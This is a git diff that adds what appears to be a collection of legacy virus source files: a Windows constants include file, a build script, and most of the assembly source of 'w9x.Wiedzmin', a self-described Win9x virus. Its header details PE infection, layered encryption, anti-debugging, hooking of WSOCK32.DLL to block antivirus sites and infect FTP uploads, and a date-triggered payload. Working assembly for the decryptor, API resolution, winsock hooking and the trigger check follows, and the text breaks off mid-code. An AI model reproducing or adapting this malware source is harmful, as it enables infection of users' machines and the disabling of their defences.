+GENERIC_EXECUTE equ 20000000h +GENERIC_ALL equ 10000000h + +DELETE equ 00010000h +READ_CONTROL equ 00020000h +WRITE_DAC equ 00040000h +WRITE_OWNER equ 00080000h +SYNCHRONIZE equ 00100000h +STANDARD_RIGHTS_RequIRED equ 000F0000h +STANDARD_RIGHTS_READ equ READ_CONTROL +STANDARD_RIGHTS_WRITE equ READ_CONTROL +STANDARD_RIGHTS_EXECUTE equ READ_CONTROL +STANDARD_RIGHTS_ALL equ 001F0000h +SPECIFIC_RIGHTS_ALL equ 0000FFFFh + +FILE_BEGIN equ 0 +FILE_CURRENT equ 1 +FILE_END equ 2 + +ES_LEFT equ 0000h +ES_CENTER equ 0001h +ES_RIGHT equ 0002h +ES_MULTILINE equ 0004h +ES_UPPERCASE equ 0008h +ES_LOWERCASE equ 0010h +ES_PASSWORD equ 0020h +ES_AUTOVSCROLL equ 0040h +ES_AUTOHSCROLL equ 0080h +ES_NOHIDESEL equ 0100h +ES_OEMCONVERT equ 0400h +ES_READONLY equ 0800h +ES_WANTRETURN equ 1000h +EN_SETFOCUS equ 0100h +EN_KILLFOCUS equ 0200h +EN_CHANGE equ 0300h +EN_UPDATE equ 0400h +EN_ERRSPACE equ 0500h +EN_MAXTEXT equ 0501h +EN_HSCROLL equ 0601h +EN_VSCROLL equ 0602h +EC_LEFTMARGIN equ 0001h +EC_RIGHTMARGIN equ 0002h +EC_USEFONTINFO equ 0ffffh +EM_GETSEL equ 00B0h +EM_SETSEL equ 00B1h +EM_GETRECT equ 00B2h +EM_SETRECT equ 00B3h +EM_SETRECTNP equ 00B4h +EM_SCROLL equ 00B5h +EM_LINESCROLL equ 00B6h +EM_SCROLLCARET equ 00B7h +EM_GETMODIFY equ 00B8h +EM_SETMODIFY equ 00B9h +EM_GETLINECOUNT equ 00BAh +EM_LINEINDEX equ 00BBh +EM_SETHANDLE equ 00BCh +EM_GETHANDLE equ 00BDh +EM_GETTHUMB equ 00BEh +EM_LINELENGTH equ 00C1h +EM_REPLACESEL equ 00C2h +EM_GETLINE equ 00C4h +EM_LIMITTEXT equ 00C5h +EM_CANUNDO equ 00C6h +EM_UNDO equ 00C7h +EM_FMTLINES equ 00C8h +EM_LINEFROMCHAR equ 00C9h +EM_SETTABSTOPS equ 00CBh +EM_SETPASSWORDCHAR equ 00CCh +EM_EMPTYUNDOBUFFER equ 00CDh +EM_GETFIRSTVISIBLELINE equ 00CEh +EM_SETREADONLY equ 00CFh +EM_SETWORDBREAKPROC equ 00D0h +EM_GETWORDBREAKPROC equ 00D1h +EM_GETPASSWORDCHAR equ 00D2h +EM_SETMARGINS equ 00D3h +EM_GETMARGINS equ 00D4 +EM_SETLIMITTEXT equ EM_LIMITTEXT +EM_GETLIMITTEXT equ 00D5h +EM_POSFROMCHAR equ 00D6h +EM_CHARFROMPOS equ 00D7h +WB_LEFT equ 0 +WB_RIGHT equ 1 +WB_ISDELIMITER equ 2 +BS_PUSHBUTTON equ 00000000h +BS_DEFPUSHBUTTON equ 00000001h +BS_CHECKBOX equ 00000002h +BS_AUTOCHECKBOX equ 00000003h +BS_RADIOBUTTON equ 00000004h +BS_3STATE equ 00000005h +BS_AUTO3STATE equ 00000006h +BS_GROUPBOX equ 00000007h +BS_USERBUTTON equ 00000008h +BS_AUTORADIOBUTTON equ 00000009h +BS_OWNERDRAW equ 0000000Bh +BS_LEFTTEXT equ 00000020h +BS_TEXT equ 00000000h +BS_ICON equ 00000040h +BS_BITMAP equ 00000080h +BS_LEFT equ 00000100h +BS_RIGHT equ 00000200h +BS_CENTER equ 00000300h +BS_TOP equ 00000400h +BS_BOTTOM equ 00000800h +BS_VCENTER equ 00000C00h +BS_PUSHLIKE equ 00001000h +BS_MULTILINE equ 00002000h +BS_NOTIFY equ 00004000h +BS_FLAT equ 00008000h +BS_RIGHTBUTTON equ BS_LEFTTEXT +BN_CLICKED equ 0 +BN_PAINT equ 1 +BN_HILITE equ 2 +BN_UNHILITE equ 3 +BN_DISABLE equ 4 +BN_DOUBLECLICKED equ 5 +BN_PUSHED equ BN_HILITE +BN_UNPUSHED equ BN_UNHILITE +BN_DBLCLK equ BN_DOUBLECLICKED +BN_SETFOCUS equ 6 +BN_KILLFOCUS equ 7 +BM_GETCHECK equ 00F0h +BM_SETCHECK equ 00F1h +BM_GETSTATE equ 00F2h +BM_SETSTATE equ 00F3h +BM_SETSTYLE equ 00F4h +BM_CLICK equ 00F5h +BM_GETIMAGE equ 00F6h +BM_SETIMAGE equ 00F7h +BST_UNCHECKED equ 0000h +BST_CHECKED equ 0001h +BST_INDETERMINATE equ 0002h +BST_PUSHED equ 0004h +BST_FOCUS equ 0008h +SS_LEFT equ 00000000h +SS_CENTER equ 00000001h +SS_RIGHT equ 00000002h +SS_ICON equ 00000003h +SS_BLACKRECT equ 00000004h +SS_GRAYRECT equ 00000005h +SS_WHITERECT equ 00000006h +SS_BLACKFRAME equ 00000007h +SS_GRAYFRAME equ 00000008h +SS_WHITEFRAME equ 00000009h +SS_USERITEM equ 0000000Ah +SS_SIMPLE equ 0000000Bh +SS_LEFTNOWORDWRAP equ 0000000Ch +SS_OWNERDRAW equ 0000000Dh +SS_BITMAP equ 0000000Eh +SS_ENHMETAFILE equ 0000000Fh +SS_ETCHEDHORZ equ 00000010h +SS_ETCHEDVERT equ 00000011h +SS_ETCHEDFRAME equ 00000012h +SS_TYPEMASK equ 0000001Fh +SS_NOTIFY equ 00000100h +SS_CENTERIMAGE equ 00000200h +SS_RIGHTJUST equ 00000400h +SS_REALSIZEIMAGE equ 00000800h +SS_SUNKEN equ 00001000h +SS_ENDELLIPSIS equ 00004000h +SS_PATHELLIPSIS equ 00008000h +SS_WORDELLIPSIS equ 0000C000h +SS_ELLIPSISMASK equ 0000C000h + +CDN_FIRST equ (0-601) +CDN_LAST equ (0-699) +OFN_READONLY equ 00000001h +OFN_OVERWRITEPROMPT equ 00000002h +OFN_HIDEREADONLY equ 00000004h +OFN_NOCHANGEDIR equ 00000008h +OFN_SHOWHELP equ 00000010h +OFN_ENABLEHOOK equ 00000020h +OFN_ENABLETEMPLATE equ 00000040h +OFN_ENABLETEMPLATEHANDLE equ 00000080h +OFN_NOVALIDATE equ 00000100h +OFN_ALLOWMULTISELECT equ 00000200h +OFN_EXTENSIONDIFFERENT equ 00000400h +OFN_PATHMUSTEXIST equ 00000800h +OFN_FILEMUSTEXIST equ 00001000h +OFN_CREATEPROMPT equ 00002000h +OFN_SHAREAWARE equ 00004000h +OFN_NOREADONLYRETURN equ 00008000h +OFN_NOTESTFILECREATE equ 00010000h +OFN_NONETWORKBUTTON equ 00020000h +OFN_NOLONGNAMES equ 00040000h +OFN_EXPLORER equ 00080000h +OFN_NODEREFERENCELINKS equ 00100000h +OFN_LONGNAMES equ 00200000h +OFN_SHAREFALLTHROUGH equ 2 +OFN_SHARENOWARN equ 1 +OFN_SHAREWARN equ 0 +CDN_INITDONE equ (CDN_FIRST - 0000) +CDN_SELCHANGE equ (CDN_FIRST - 0001) +CDN_FOLDERCHANGE equ (CDN_FIRST - 0002) +CDN_SHAREVIOLATION equ (CDN_FIRST - 0003) +CDN_HELP equ (CDN_FIRST - 0004) +CDN_FILEOK equ (CDN_FIRST - 0005) +CDN_TYPECHANGE equ (CDN_FIRST - 0006) + +DEBUG_PROCESS equ 00000001h +DEBUG_ONLY_THIS_PROCESS equ 00000002h +CREATE_SUSPENDED equ 00000004h +DETACHED_PROCESS equ 00000008h +CREATE_NEW_CONSOLE equ 00000010h +NORMAL_PRIORITY_CLASS equ 00000020h +IDLE_PRIORITY_CLASS equ 00000040h +HIGH_PRIORITY_CLASS equ 00000080h +REALTIME_PRIORITY_CLASS equ 00000100h +CREATE_NEW_PROCESS_GROUP equ 00000200h +CREATE_UNICODE_ENVIRONMENT equ 00000400h +CREATE_SEPARATE_WOW_VDM equ 00000800h +CREATE_SHARED_WOW_VDM equ 00001000h +CREATE_FORCEDOS equ 00002000h +CREATE_DEFAULT_ERROR_MODE equ 04000000h +CREATE_NO_WINDOW equ 08000000h +PROFILE_USER equ 10000000h +PROFILE_KERNEL equ 20000000h +PROFILE_SERVER equ 40000000h + +MAXLONGLONG equ (7fffffffffffffffh) +MAXLONG equ 7fffffffh +MAXBYTE equ 0ffh +MAXWORD equ 0ffffh +MAXDWORD equ 0ffffffffh +MINCHAR equ 80h +MAXCHAR equ 07fh +MINSHORT equ 8000h +MAXSHORT equ 7fffh +MINLONG equ 80000000h + +THREAD_BASE_PRIORITY_LOWRT equ 15 ;// value that gets a thread to LowRealtime-1 +THREAD_BASE_PRIORITY_MAX equ 2 ;// maximum thread base priority boost +THREAD_BASE_PRIORITY_MIN equ -2 ;// minimum thread base priority boost +THREAD_BASE_PRIORITY_IDLE equ -15 ;// value that gets a thread to idle +THREAD_PRIORITY_LOWEST equ THREAD_BASE_PRIORITY_MIN +THREAD_PRIORITY_BELOW_NORMAL equ (THREAD_PRIORITY_LOWEST+1) +THREAD_PRIORITY_NORMAL equ 0 +THREAD_PRIORITY_HIGHEST equ THREAD_BASE_PRIORITY_MAX +THREAD_PRIORITY_ABOVE_NORMAL equ (THREAD_PRIORITY_HIGHEST-1) +THREAD_PRIORITY_ERROR_RETURN equ (MAXLONG) +THREAD_PRIORITY_TIME_CRITICAL equ THREAD_BASE_PRIORITY_LOWRT +THREAD_PRIORITY_IDLE equ THREAD_BASE_PRIORITY_IDLE + +HKEY_CLASSES_ROOT equ 80000000h +HKEY_CURRENT_USER equ 80000001h +HKEY_LOCAL_MACHINE equ 80000002h +HKEY_USERS equ 80000003h +HKEY_PERFORMANCE_DATA equ 80000004h +HKEY_CURRENT_CONFIG equ 80000005h +HKEY_DYN_DATA equ 80000006h + +REG_OPTION_RESERVED equ 00000000h +REG_OPTION_NON_VOLATILE equ 00000000h +REG_OPTION_VOLATILE equ 00000001h +REG_OPTION_CREATE_LINK equ 00000002h +REG_OPTION_BACKUP_RESTORE equ 00000004h +REG_OPTION_OPEN_LINK equ 00000008h +REG_LEGAL_OPTION equ REG_OPTION_RESERVED or REG_OPTION_NON_VOLATILE or REG_OPTION_VOLATILE or REG_OPTION_CREATE_LINK or REG_OPTION_BACKUP_RESTORE or REG_OPTION_OPEN_LINK +REG_CREATED_NEW_KEY equ 00000001h +REG_OPENED_EXISTING_KEY equ 00000002h +REG_WHOLE_HIVE_VOLATILE equ 00000001h +REG_REFRESH_HIVE equ 00000002h +REG_NO_LAZY_FLUSH equ 00000004h +REG_NOTIFY_CHANGE_NAME equ 00000001h +REG_NOTIFY_CHANGE_ATTRIBUTES equ 00000002h +REG_NOTIFY_CHANGE_LAST_SET equ 00000004h +REG_NOTIFY_CHANGE_SECURITY equ 00000008h +REG_LEGAL_CHANGE_FILTER equ REG_NOTIFY_CHANGE_NAME or REG_NOTIFY_CHANGE_ATTRIBUTES or REG_NOTIFY_CHANGE_LAST_SET or REG_NOTIFY_CHANGE_SECURITY +REG_NONE equ 0 +REG_SZ equ 1 +REG_EXPAND_SZ equ 2 +REG_BINARY equ 3 +REG_DWORD equ 4 +REG_DWORD_LITTLE_ENDIAN equ 4 +REG_DWORD_BIG_ENDIAN equ 5 +REG_LINK equ 6 +REG_MULTI_SZ equ 7 +REG_RESOURCE_LIST equ 8 +REG_FULL_RESOURCE_DESCRIPTOR equ 9 +REG_RESOURCE_RequIREMENTS_LIST equ 10 + +KEY_QUERY_VALUE equ 0001h +KEY_SET_VALUE equ 0002h +KEY_CREATE_SUB_KEY equ 0004h +KEY_ENUMERATE_SUB_KEYS equ 0008h +KEY_NOTIFY equ 0010h +KEY_CREATE_LINK equ 0020h + +KEY_READ equ (STANDARD_RIGHTS_READ or KEY_QUERY_VALUE or KEY_ENUMERATE_SUB_KEYS or KEY_NOTIFY) and (not SYNCHRONIZE) +KEY_WRITE equ (STANDARD_RIGHTS_WRITE or KEY_SET_VALUE or KEY_CREATE_SUB_KEY) and (not SYNCHRONIZE) +KEY_EXECUTE equ (KEY_READ) and (not SYNCHRONIZE) +KEY_ALL_ACCESS equ (STANDARD_RIGHTS_ALL or KEY_QUERY_VALUE or KEY_SET_VALUE or KEY_CREATE_SUB_KEY or KEY_ENUMERATE_SUB_KEYS or KEY_NOTIFY or KEY_CREATE_LINK) and (not SYNCHRONIZE) +SERVICE_KERNEL_DRIVER equ 000000001h +SERVICE_FILE_SYSTEM_DRIVER equ 000000002h +SERVICE_ADAPTER equ 000000004h +SERVICE_RECOGNIZER_DRIVER equ 000000008h +SERVICE_DRIVER equ SERVICE_KERNEL_DRIVER or SERVICE_FILE_SYSTEM_DRIVER or SERVICE_RECOGNIZER_DRIVER +SERVICE_WIN32_OWN_PROCESS equ 000000010h +SERVICE_WIN32_SHARE_PROCESS equ 000000020h +SERVICE_WIN32 equ SERVICE_WIN32_OWN_PROCESS or SERVICE_WIN32_SHARE_PROCESS +SERVICE_INTERACTIVE_PROCESS equ 000000100h +SERVICE_TYPE_ALL equ SERVICE_WIN32 or SERVICE_ADAPTER or SERVICE_DRIVER or SERVICE_INTERACTIVE_PROCESS +SERVICE_BOOT_START equ 0 +SERVICE_SYSTEM_START equ 000000001h +SERVICE_AUTO_START equ 000000002h +SERVICE_DEMAND_START equ 000000003h +SERVICE_DISABLED equ 000000004h +SERVICE_ERROR_IGNORE equ 0 +SERVICE_ERROR_NORMAL equ 000000001h +SERVICE_ERROR_SEVERE equ 000000002h +SERVICE_ERROR_CRITICAL equ 000000003h + +; ==================================================================== +@wordalign macro Adr,x + if (($-Adr)/2) NE (($-Adr+1)/2) + db x + endif + endm +@dwordalign macro Adr,x + if 4-(($-Adr) mod 4) + db 4-(($-Adr) mod 4) dup (x) + endif + endm + +f_struc struc ; win32 "searchrec" + ; structure +ff_attr dd ? +ff_time_create dd ?,? +ff_time_lastaccess dd ?,? +ff_time_lastwrite dd ?,? +ff_size_hi dd ? +ff_size dd ? + dd ?,? +ff_fullname db 260 dup (?) + + +ff_shortname db 14 dup (?) + + ends + +;GDI strucs + +WNDCLASSEX struc + cbSize dd ? + style dd ? + lpfnWndProc dd ? + cbClsExtra dd ? + cbWndExtra dd ? + hInstance dd ? + hIcon dd ? + hCursor dd ? + hbrBackground dd ? + lpszMenuName dd ? + lpszClassName dd ? + hIconSm dd ? +WNDCLASSEX ends + +MSG struc + hwnd dd ? + message dd ? + wParam dd ? + lParam dd ? + time dd ? + pt dd ? +MSG ends + +RECT struc + left dd ? + top dd ? + right dd ? + bottom dd ? +RECT ends + +PAINTSTRUCT struc + hdc dd ? + fErase dd ? + rcPaint RECT<,,,> + fRestore dd ? + fIncUpdate dd ? + rgbReserved db 32 dup(?) +PAINTSTRUCT ends + + + + + + +CW_USEDEFAULT equ 80000000h +SW_SHOWNORMAL equ 1 +COLOR_WINDOW equ 5 +IDI_APPLICATION equ 32512 +WS_OVERLAPPEDWINDOW equ 0CF0000h + +DT_TOP equ 0 +DT_LEFT equ 0 +DT_CENTER equ 1 +DT_RIGHT equ 2 +DT_VCENTER equ 4 +DT_BOTTOM equ 8 +DT_WORDBREAK equ 10h +DT_SINGLELINE equ 20h +DT_EXPANDTABS equ 40h +DT_TABSTOP equ 80h +DT_NOCLIP equ 100h +DT_EXTERNALLEADING equ 200h +DT_CALCRECT equ 400h +DT_NOPREFIX equ 800h +DT_INTERNAL equ 1000h + + +Pushad_Struc STRUC +_edi DD ? +_esi DD ? +_ebp DD ? +_esp DD ? +_ebx DD ? +_edx DD ? +_ecx DD ? +_eax DD ? +Pushad_Struc ENDS +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[WIN.INC]ΔΔΔ +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[MAKE.BAT]ΔΔΔ +@echo off +tasm /m /ml society.asm >nul +if not exist society.obj goto err +tlink32 /Tpe /aa /x /c society.obj,,,f:\asm\inc\import32.lib >nul +del society.obj >nul +echo Make code section r/w.! +goto end +:err +echo ********* ERROR! ********* +:end +@echo on +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[MAKE.BAT]ΔΔΔ diff --git a/LegacyWindows/Win9x.Wiedzmin.asm b/LegacyWindows/Win9x.Wiedzmin.asm new file mode 100644 index 00000000..d099d9a0 --- /dev/null +++ b/LegacyWindows/Win9x.Wiedzmin.asm @@ -0,0 +1,2404 @@ + +; +; W D nnn +; WW Ww o D M O Nn nn +; Ww wW i eEeE dddDD ZzzZzZ Mm m m nN nn +; wW Ww ii e E d dD Zz m M M mm ii N n n +; Ww w wW ii Eeee d dD z mm m m i n N n +; W W W W ii e d dD z m mm ii n n n +; wWw wWwW iii eEee d dD zZzZzZ mm mm ii n nn +; ddddDd mm iii n n +; +; γ(c) YuP - Deithwen Addan - Artist of Rebelionγ +; γ yup@tlen.pl γ +; +; ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ +; Δ w9x.Wiedzmin Δ +; ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ +; +; +; ΔΔΔΔΔΔΔΔΔΔΔ +; ΔDISCLAIMERĝ +; ΔΔΔΔΔΔΔΔΔΔΔ +; This is a source of a virus, only source the compiled version +; cannot leave your computer! Author is NOT RESPONSIBLE FOR ANY +; ACTIONS WITH THIS CODE! +; +; +; +; ΔΔΔΔΔΔΔΔΔΔΔΔ +; Δ The name ĝ +; ΔΔΔΔΔΔΔΔΔΔΔΔ +; +; The name 'Wiedzmin' was stolen from Andrzej Sapkowski saga "Wiedzmin". +; (sapkowski.pl,sapkowski.cz) - someone said that he is another +; Tolkien (in my opinion this book is even better then Tolkienz +; "Lord of the Rings"). +; Wiedzmin was a some kind of mutant (only few kids from 10 can survive +; wiedzmin test). As a mutant he was very fast, he was master of fencig, +; he can see at night, and he of course can make magic signs. +; Blah ... +; Next he went, and travel around the world (he was killing monsterz for money). +; In his journey he met new fantasic characters like Regis (vapire), +; Milva (hunter), Jaskier (bard), Yennefer (witch) , Ciri (child of destinty) +; ... +; +; The book is realy FANTASTIC! Full of adventures, fight, sex (X-D), +; blood, swearwords, and much much more! I realy advice you to READ IT! +; (check translationz for your language: www.sapkowski.pl). +; If you like fantasy you CAN'T miss IT! +; +; +; ΔΔΔΔΔΔΔΔΔΔΔΔ +; Δ Music ĝ +; ΔΔΔΔΔΔΔΔΔΔΔΔ +; +; I'd like to thx some kewl music groups in range of rock-hiphop: +; Outsidez: Polish groupz: +; ζDeep Purple ζMolesta +; ζIron Maiden ζFenomen +; ζLinkin Park ζZipera +; ζRage Against the Machine ζGrammatik +; ζKoRn ζEldo +; ζLimp Bizkit ζKaliber 44 +; +; I'm a weird person ;] +; +; +; ΔΔΔΔΔΔΔΔΔΔΔΔ +; Δ Greetz ĝ +; ΔΔΔΔΔΔΔΔΔΔΔΔ +; +; Greetz go to: +; ζFriendz from city: +; ŸYoo (:]) +; ŸMisiek (dzienx za plyty stary) +; ŸKlosina (nie rzucaj nozami) +; ŸStraΏ Miejska (nie trzymamy nog na lawkach :p) +; ŸI dla reszty ludkuf, nie wymienialem was bo i tak +; nigdy tego nie przeczytacie. +; +; ζGuyz from Undernet: +; ŸToro (busy today?) +; ŸSlageHammer (helo tester ;D) +; ŸSpanska (BloodHound.W32.WSWORM ;[) +; ΏBFF70000h (lagz lagz lagz) +; +; ζGuyz from irc.pl: +; ŸBlaze (stuk puk) +; ŸDetergent (walek) +; ŸShmastah (judeIRC ;]) +; ŸAjron (ten nie prawdziwy :P) +; ŸAamf-girl (gimnazjalistka ;P) +; ŸWizja (dolly ma reumatyzm czy jakos tak ;>) +; ŸPafko (dragonball rulez!) +; ŸCrash (why you? ;P) +; +; +; ΔΔΔΔΔΔΔΔΔΔΔΔ +; Δ Briefing ĝ +; ΔΔΔΔΔΔΔΔΔΔΔΔ +; +; Virus name : w9x.Wiedzmin +; Virus version : 1.0 +; Virus author : Lord YuP - Deithwen Addan +; Release date : 6.02.02+8.02.02 i forgot to install SEH, he he +; Virus type : PE infector and WSOCK32.DLL hooker +; Target Systems : win95, win98, winME +; †[nt] - not tested (should work, if not fuck it!) +; †[t] - tested +; +; +; Encryption : 3 LAYERS CRYPTED BY RANDOM NUMBER! +; † 1 - cryptz main virus body † +; † 2 - cryptz host body † +; † 3 - cryptz virus data † +; +; Every layer is crypted by another key. +; +; Virus helper : Virus when found section called different +; then ".text" or "CODE" (EIP must point to +; it) it is gonna to crypt all file body +; and put only decryptor into last section. +; The main body (with other virus probably) +; is crypted by random key. EIP points to +; decryptor. +; +; +; +; Polymorphic : Yep random key crypting, adding +; 90h garbage in the range +; of 0-255. +; +; +; AntiAV : Virus wouldn't infect filez +; with 'a','A','E','e','v','V' +; at start. +; +; +; AntiDEBUG : Yep, using win9x Softice detection, +; and IsDebuggerPresent API. When +; sice is found it shows message in +; debbuger and exec int 19h ! +; Other debbugers like td32, SoftSnoop +; end so on = int 19h! +; +; +; WSOCK32 hooker : Virus infect wsock32.dll replacing the +; send, connect function addressez. +; After reboot (wininit.ini ;P) functionz +; will be hooked. User will never connect +; to AV sitez (error: host not found), +; and when user will try to put a file in +; the FTP account, virus will infect it on +; fly. +; +; +; +; Infection procez : Virus infect 7 filez in the local +; directory and 7 filez in the windowz +; directory. Virus is going to apend +; itself to the last section. The section +; is increased. EIP points to it. +; +; +; +; Payload : On 22.06 or 22.12 every run it gonna +; print color string in the infinite +; loop. The string will be VISIBLE +; everywhere - virus grabz active +; window HDC! +; +; +; +;ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[WIEDZMIN.ASM]ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ +.386 +.model flat +jumps +locals + + + + + + extrn ExitProcess:PROC + extrn MessageBoxA:PROC + + + +FILETIME STRUC +dwLowDateTime dd ? +dwHighDateTime dd ? +FILETIME ends + + + +WIN32_FIND_DATA struc ;FIND DATA +dwFileAttributes dd 0 +dwLowDateTime0 dd ? +dwHigDateTime0 dd ? +dwLowDateTime1 dd ? +dwHigDateTime1 dd ? +dwLowDateTime2 dd ? +dwHigDateTime2 dd ? +nFileSizeHigh dd ? +nFileSizeLow dd ? +dwReserved dd 0,0 +cFileName db 260 dup(0) +cAlternateFilename db 14 dup(0) + db 2 dup(0) +WIN32_FIND_DATA ends + +hooksize equ hook_end-start_h +sendh equ (offset hooked_send-offset start_h) +connecth equ (offset hooked_connect-offset start_h) + + + + + +vvsize equ HeapEnd-HeapStart +virussize equ VirusEnd-v_start +allsize equ virussize +TO_DE equ @loop_decryptt-@to_this +helper equ @helper_end-@uncrypt + + +virussizee macro + db virussize/10000 mod 10 + "0" + db virussize/01000 mod 10 + "0" + db virussize/00100 mod 10 + "0" + db virussize/00010 mod 10 + "0" + db virussize/00001 mod 10 + "0" + endm + + + + +.DATA + + +db ? + + +.CODE +v_start: +pushad +pushfd + +call @delta +@delta: +pop ebp ;ebp contains address of @delta right now in +sub ebp,offset @delta ;memory -> we must sub the linking @delta val + +cmp ebp,0 +je @_KERNEL + + +@main_decryptor: +lea edx,[ebp+offset @to_this] +mov eax,[ebp+key_main] +mov ecx,TO_DE + + +@loop_decrypt: +xor byte ptr [edx],al +inc edx +loop @loop_decrypt +cmp edi,'!PUY' +jne @to_this +ret + + + +@to_this: +lea edi,[ebp+offset APIList] +lea esi,[ebp+offset APIList] +call @UN_CRYPT_BYTEZ + +lea edi,[ebp+offset TO_CRYPT_DATA] +lea esi,[ebp+offset TO_CRYPT_DATA] +call @UN_CRYPT_BYTEZ + + +@_KERNEL: +lea eax, [ebp+fault] ; Setup a SEH frame +push eax +push dword ptr fs:[0] +mov fs:[0], esp + +mov eax,0BFF70000h ;kerneloz w95 +cmp word ptr [eax],'ZM' +je _GOT_KERNEL + ;NT moze pozniej :p + + + +mov eax,0BFF60000h ;ladujemy kernela ;) winME ;) +cmp word ptr [eax],'ZM' ;check is it a exe file +je _GOT_KERNEL + +jmp @EXIT + + +_GOT_KERNEL: +mov dword ptr [ebp+capis],5h +mov dword ptr [ebp+Kernel],eax + + +@go_export: + +mov dword ptr [ebp+NON],000000h +mov dword ptr [ebp + AOF],000000h +mov dword ptr [ebp + AON],000000h +mov dword ptr [ebp + AOO],000000h + +mov edx,eax +mov ebx,edx + + +mov edi, [eax + 03ch] ;a valid PE ? +add edx, edi +cmp dword ptr [edx],'EP' +jne @EXIT + + + +mov edx,[edx + 078h] ;export table +add edx,eax ;mamy w edx -> export table + + + + +mov esi,[edx + 018h] +mov dword ptr [ebp + NON],esi + + +mov esi,[edx+1Ch] +mov dword ptr [ebp + AOF],esi +add dword ptr [ebp + AOF],eax + +mov esi,[edx+20h] +mov dword ptr [ebp + AON],esi +add dword ptr [ebp + AON],eax + +mov esi,[edx+24h] +mov dword ptr [ebp + AOO],esi +add dword ptr [ebp + AOO],eax + + + + + +@export_read: +mov esi,dword ptr [ebp + AON] +mov [ebp+offset IndexA],esi ;save into naming index +mov esi,dword ptr [esi] +add esi,eax + +xor ebx,ebx + + +@__GPA: + + +cmp dword ptr [ebp+capis],5h +je @zwykle + + +lea edi,[ebp+offset A1] +mov ecx,A1s + + + +cmp dword ptr [ebp+capis],1 +jne @porownaj + +lea edi,[ebp+offset A2] +mov ecx,A2s +jmp @porownaj + +@zwykle: +lea edi,[ebp + offset APIS] ;mam offset zmiennej + + + +@GET_GPA: +mov ecx,APIS_SIZE ;size api + + +@porownaj: +rep cmpsb ;scan +je found ;if equal calculate function address + + +Scan_dalej: +add dword ptr [ebp + offset IndexA],4 +mov esi,[ebp + offset IndexA] +mov esi,[esi] +add esi,eax + +cmp dword ptr [ebp+offset NON],ebx +je @EXIT +inc ebx +cmp dword ptr [ebp+offset NON],ebx +je @EXIT + +jmp @__GPA + +found: +mov eax,ebx ;mamy GPA !!! + +mov ecx,edi +inc ecx +push ecx ;na stos ;P + +mov eax,ebx ;EAX=>counter +mov ecx,2 +mul ecx ;mnozymy EAX*2 +pop ecx ;zdejmujemy ze stosu ECX + +mov esi,[ebp + AOO] +add esi,eax +xor eax,eax + + +mov ax,word ptr [esi] +mov ecx,4 +mul ecx + + + + +cmp dword ptr [ebp+go_wsock],1 +jne @skip_it_urgh + +mov esi,[ebp + AOF] +add esi,eax +mov eax,[esi] + + + + +cmp dword ptr [ebp+capis],1 +je @make_1 + +;mov ebx,dword ptr [ebp+wsock_hh] +;mov dword ptr [ebp+a_send],eax +;add dword ptr [ebp+a_send],ebx +;mov eax,dword ptr [ebp+a_send] + +mov ebx,sendh +mov edx,dword ptr [ebp+moj_address] ;tricky shit ;] +add edx,ebx +jmp make_real + + +@make_1: +mov ebx,connecth +mov edx,dword ptr [ebp+moj_address] ;tricky shit ;] +add edx,ebx + + + +make_real: + + +mov [esi],edx + +inc dword ptr [ebp+capis] +cmp dword ptr [ebp+capis],2 +je @go_out_now + +mov eax,dword ptr [ebp+wsock_h] +jmp @go_export + +@go_out_now: ret + + +@skip_it_urgh: +mov esi,[ebp + AOF] +add esi,eax +mov edi,dword ptr [esi] +add edi,[ebp+offset Kernel] +mov eax,edi +mov dword ptr [ebp+_GPA],eax + + + + +@GET_APIS: ;API Search +xor esi,esi +lea esi,[ebp+offset APIList] +lea edi,[ebp+offset _FindFirstFileA] + ;mamy d wordy czyli skok co 4 bajty + ;stosd -> z EAX do EDI + + + +@go_table: +push esi +push dword ptr [ebp+offset Kernel] +call dword ptr [ebp+offset _GPA] +stosd + +@next_byte: +inc esi +cmp byte ptr [esi],00h +jne @next_byte + + +inc esi +cmp byte ptr [esi],07h +jne @go_table + +mov eax,dword ptr [ebp+_GetCurrentDirectoryA] +mov dword ptr [ebp+gcd],eax +mov eax,dword ptr [ebp+_WinExec] +mov dword ptr [ebp+wex],eax + +lea eax,[ebp+offset wsock] +inc eax +push eax +call dword ptr [ebp+_LoadLibraryA] +mov dword ptr [ebp+wsock_hh],eax + + +lea ecx,[ebp+offset sle] +push ecx +push eax +call dword ptr [ebp+offset _GPA] +mov dword ptr [ebp+_WSASetLastError],eax + + +lea ecx,[ebp+offset A1] +push ecx +push dword ptr [ebp+wsock_hh] +call dword ptr [ebp+offset _GPA] +mov dword ptr [ebp+a_send],eax + + +lea ecx,[ebp+offset A2] +push ecx +push dword ptr [ebp+wsock_hh] +call dword ptr [ebp+offset _GPA] +mov dword ptr [ebp+a_connect],eax + + + +push 4h ; PAGE_READWRITE +push 1000h ; MEM_COMMIT +push 1000 ; size of buffer +push 0 ; lpAddress +call dword ptr [ebp+_VirtualAlloc] ; Alloc IT! +mov dword ptr [ebp+vbuf],eax + + +;********************************DEBUG TRAP****************************************************** +;call @debug_trap +;************************************************************************************************ +call @wsockz +mov dword ptr [ebp+go_wsock],0 + +lea eax,[ebp+SYSTEM_TIME] +push eax +call dword ptr [ebp+_GetSystemTime] + +cmp word ptr [ebp+wMonth],6 ;22.06 Midaλte +jne try_ +cmp word ptr [ebp+wDay],22 +jne try_ +call make_it_real + + +try_: +cmp word ptr [ebp+wMonth],12 ;22.12 Midinvaerne +jne cya_folx +cmp word ptr [ebp+wDay],22 